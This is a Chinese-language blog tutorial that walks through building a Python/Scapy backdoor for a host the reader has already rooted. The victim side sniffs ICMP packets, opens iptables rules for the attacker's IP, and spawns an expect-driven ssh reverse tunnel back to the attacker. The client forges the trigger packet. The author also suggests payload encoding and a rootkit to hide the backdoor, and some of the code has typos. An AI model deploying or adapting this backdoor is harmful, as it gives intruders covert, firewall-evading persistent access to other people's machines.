用Python编写一个简单的CS架构后门的方法


Posted in Python onNovember 20, 2018

0x00:事先说明

  • 你已经攻陷了对方主机且获得了最高权限。
  • 对方的本地防火墙会丢弃所有的外来数据包。
  • 这个后门不会仅绑定在某一个端口上。
  • 这段代码很容易写,毕竟是 Python(准确说是 Python 2.x)。

0x01:工作原理

用Python编写一个简单的CS架构后门的方法

如你所见,客户端将伪造具有 ICMP 负载的特定数据包,另一方面在服务端,也就是我们的被攻击主机,将会接受我们发送的数据包,即使它开启了本地的防火墙(丢弃所有外来数据包)。关键在于无线网卡的监听模式,它无需和 AP 建立连接却可以和接受所有流经空气的数据包。

我们会用到一个有用的第三方包 Scapy。这是它的官方文档。如果你是第一次使用,不妨参考这篇文章,也许会有帮助。

0x02:客户端代码

'''
客户端代码。将服务端的 IP 地址、客户端的 IP 地址、客户端的连接端口,以及连接所需密码作为程序输入。如果成功返回一个交互式后门,在代码硬编码好的位置写入日志文件信息。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import os
import os.path
import sys
import time
logging.getLongger("scapy.runtime").setLevel(loggin.ERROR)
file_result = "/tmp/done"
if len(sys.argv) != 5:
 print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ”
 sys.exit(1)
server = sys.argv[1]
if os.path.isfile(file_result):
 os.remove(file_result)
load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4]
pingr = IP(dst = server) / ICMP() / load
send(pingr, verbose = 0) # send() 函数工作在协议栈的第三层(网络层)

0x04:服务端代码

服务端代码分为两块:1. 主要脚本部分、2. ssh 隧道部分。

'''
服务端代码之主要脚本部分。这个脚本会监听 ICMP 数据包并从句法上分析其携带的数据部分(客户端 IP 地址、客户端连接端口、连接所需密码)。接着在本地打开两个新的防火墙规则。最后调用另一个 expect 脚本,以建立和客户端之间稳定的 ssh 连接。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import re
import subprocess # py2.4 新增模块,允许用户编写代码生成新进程,连接到它们的 input/output/error 管道,并获取它们的返回/状态码。
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def icmp_monitor_callback(pkt):
 reg = re.compile("(.*)\|(.*)\|(.*)")
 g = reg.match(pkt.load)
 if g:
 subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT'])
 subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT'])
 p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)])
 return
sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函数会嗅探来自空气中的数据包,prn 参数用来指定回调函数,每当符合 filter 的报文被探测到时,就会执行回调函数。有关该函数的详细信息,可以参考这篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
'''
服务端代码之 ssh 隧道部分,实际上是一个简单的 expect 脚本。接受嗅探到的客户端 IP 地址、客户端端口,以及用于连接的密码作为输入。
'''
#!/usr/bin/expect -f
set ip [lindex $argv 0];
set port [lindex $argv 1];
set password [lindex $argv 2];
spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip
expect "*?assword:*"
send "$password\r"
expect "*#"
send "touch /tmp/done\r"
interact

0x05:文末思考

上面完成的后门代码待完善的地方。

  • ICMP payload 应该被编码。
  • 添加其他的协议用来唤醒该后门(如 http、特定的 syn 包、dns 等)。
  • 写一个 rootkit,隐藏该后门,猥琐欲为。此乃后话。

有关 rootkit 的延伸阅读。

  • https://3water.com/article/151111.htm
  • https://null-byte.wonderhowto.com/how-to/writing-windows-10-rootkit-part-1-0165781/

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
在Python中使用base64模块处理字符编码的教程
Apr 28 Python
python中global用法实例分析
Apr 30 Python
简单实现python爬虫功能
Dec 31 Python
python daemon守护进程实现
Aug 27 Python
python实现SOM算法
Feb 23 Python
python如何将图片转换为字符图片
Aug 19 Python
使用Python实现租车计费系统的两种方法
Sep 29 Python
python使用pygame框架实现推箱子游戏
Nov 20 Python
详解安装mitmproxy以及遇到的坑和简单用法
Jan 21 Python
ubuntu 18.04搭建python环境(pycharm+anaconda)
Jun 14 Python
python函数enumerate,operator和Counter使用技巧实例小结
Feb 22 Python
Python实现石头剪刀布游戏
Jan 20 Python
python pygame实现2048游戏
Nov 20 #Python
python pygame模块编写飞机大战
Nov 20 #Python
Python Scapy随心所欲研究TCP协议栈
Nov 20 #Python
python版飞机大战代码分享
Nov 20 #Python
pygame实现雷电游戏雏形开发
Nov 20 #Python
pygame游戏之旅 游戏中添加显示文字
Nov 20 #Python
pygame游戏之旅 添加键盘按键的方法
Nov 20 #Python
You might like
phpmyadmin中配置文件现在需要绝密的短语密码的解决方法
2007/02/11 PHP
PHP 执行系统外部命令 system() exec() passthru()
2009/08/11 PHP
php实现获取局域网所有用户的电脑IP和主机名、及mac地址完整实例
2014/07/18 PHP
php实现以只读方式打开文件的方法
2015/03/16 PHP
php微信公众号开发之现金红包
2018/04/16 PHP
IE6-IE9不支持table.innerHTML的解决方法分享
2012/09/14 Javascript
javascript利用apply和arguments复用方法
2013/11/25 Javascript
js实现带圆角的多级下拉菜单效果
2015/08/28 Javascript
基于jQuery和hwSlider实现内容左右滑动切换效果附源码下载(一)
2016/06/22 Javascript
浅析上传头像示例及其注意事项
2016/12/14 Javascript
JS 实现计算器详解及实例代码(一)
2017/01/08 Javascript
JS表单数据验证的正则表达式(常用)
2017/02/18 Javascript
微信小程序实现点击文字页面跳转功能【附源码下载】
2017/12/12 Javascript
Vue 项目中遇到的跨域问题及解决方法(后台php)
2018/03/28 Javascript
nodejs取得当前执行路径的方法
2018/05/13 NodeJs
通过webpack引入第三方库的方法
2018/07/20 Javascript
jquery无缝图片轮播组件封装
2020/11/25 jQuery
vue通过video.js解决m3u8视频播放格式的方法
2019/07/30 Javascript
使用 Element UI Table 的 slot-scope方法
2019/10/10 Javascript
微信小程序修改checkbox的样式代码实例
2020/01/21 Javascript
Python简单生成8位随机密码的方法
2017/05/24 Python
python-opencv颜色提取分割方法
2018/12/08 Python
详解PyCharm+QTDesigner+PyUIC使用教程
2019/06/13 Python
Django 大文件下载实现过程解析
2019/08/01 Python
python批量修改ssh密码的实现
2019/08/08 Python
Python 余弦相似度与皮尔逊相关系数 计算实例
2019/12/23 Python
Python threading.local代码实例及原理解析
2020/03/16 Python
AmazeUI 按钮交互的实现示例
2020/08/24 HTML / CSS
戴尔美国官网:Dell
2016/08/31 全球购物
北京泡泡网网络有限公司.net面试题
2012/07/17 面试题
新教师工作感言
2014/02/16 职场文书
就业协议书的作用
2014/04/11 职场文书
股份合作协议书
2014/04/12 职场文书
法定代表人授权委托书范本
2014/10/07 职场文书
会计求职简历自我评价
2015/03/10 职场文书
浅谈MySQL next-key lock 加锁范围
2021/06/07 MySQL